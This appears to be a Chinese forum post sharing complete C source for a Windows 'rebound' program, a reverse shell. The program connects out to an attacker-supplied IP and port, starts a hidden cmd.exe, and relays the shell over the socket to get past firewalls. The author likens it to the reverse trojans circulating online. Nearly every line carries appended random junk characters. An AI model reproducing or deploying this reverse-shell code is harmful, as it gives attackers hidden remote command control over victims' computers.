这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6 ym$8^
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/* ============================== F W2x
Rebound port in Windows NT (VkO[5j
By wind,2006/7 * >2FcoN;
===============================*/ !:xE
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#include -#<{3BJTrz
#include r4K_Wp
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#pragma comment(lib,"wsock32.lib") 9A{D<h}yk
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void OutputShell(); | Wj=%Ol%o
SOCKET sClient; TWRnty-C
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #u"@q< )
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void main(int argc,char **argv) {&Rz>JK
{ [#X}(
WSADATA stWsaData; *Vb#@O!
int nRet; ~Sf'bj;(
SOCKADDR_IN stSaiClient,stSaiServer; 3DCR n :
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if(argc != 3) ]4')H;'y
{ SY.koW
printf("Useage:\n\rRebound DestIP DestPort\n"); n0K+/}m
return; \Lb wfd=
} ncVt(!c,e
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WSAStartup(MAKEWORD(2,2),&stWsaData); G&Yo2aADR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .4w"3>
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stSaiClient.sin_family = AF_INET; +wHa)A0MW
stSaiClient.sin_port = htons(0); iYdg1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W<O/LHKHdn
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pp#!sRUKPV
{ )-iUUak
printf("Bind Socket Failed!\n"); B'O1dRj&6
return; S@
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} gC%$)4-:
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stSaiServer.sin_family = AF_INET; RZ9_*Lq7+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); juu"V]Q1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zT!.5qd
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ TL-ALtG
printf("Connect Error!"); xvWP^Qkb
return; MP
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} <P*7u\9&
OutputShell(); R(}!gv}s
} fkk9&QB%(
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void OutputShell() qM>Dt
{ '7@Dw;
char szBuff[1024]; dry%aT
SECURITY_ATTRIBUTES stSecurityAttributes; :4\_upRE
OSVERSIONINFO stOsversionInfo; ZY6%%7?1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _jVJkg)]
STARTUPINFO stStartupInfo; a6d|Ps.\!
char *szShell; |^w&dj\,
PROCESS_INFORMATION stProcessInformation; @}%kSn5y:
unsigned long lBytesRead; t?;=\%^<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )Dcee@/7S
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g,RhUt9
stSecurityAttributes.lpSecurityDescriptor = 0; $ Fy)+<
stSecurityAttributes.bInheritHandle = TRUE; ZS&lXgo
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R^K:hKQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UyMlk
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |g\CS4$
stStartupInfo.wShowWindow = SW_HIDE; K=P LOC5
stStartupInfo.hStdInput = hReadPipe; Ml_!)b
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "x3!F&
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GetVersionEx(&stOsversionInfo); `K2vG`c
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switch(stOsversionInfo.dwPlatformId) G<~P||Lu^
{ #hEU)G'$+
case 1: En8L1$_
szShell = "command.com"; JgldC[|7
break; +J !1z
default: A<[w'"
szShell = "cmd.exe"; Z~"8C Kz
break; 7P52r
} 'f.5hX(Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <9Ytv|t@0
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send(sClient,szMsg,77,0); ;|CG9|p
while(1) <@v|~AO4~
{ T
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); oIKuo~
if(lBytesRead) kChCo0Q>1
{ uD`Z\@Z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =?hbi]
send(sClient,szBuff,lBytesRead,0); H|cxy?iJ
} 1a#R7chl
else mldY/;-H!1
{ (`f)Tt=`
lBytesRead=recv(sClient,szBuff,1024,0); ("J_< p
if(lBytesRead<=0) break; \=@4F^U7`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WjBtL52
} w< |Lx#L}
} fydQaxCND
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return; ,\PTn7_
}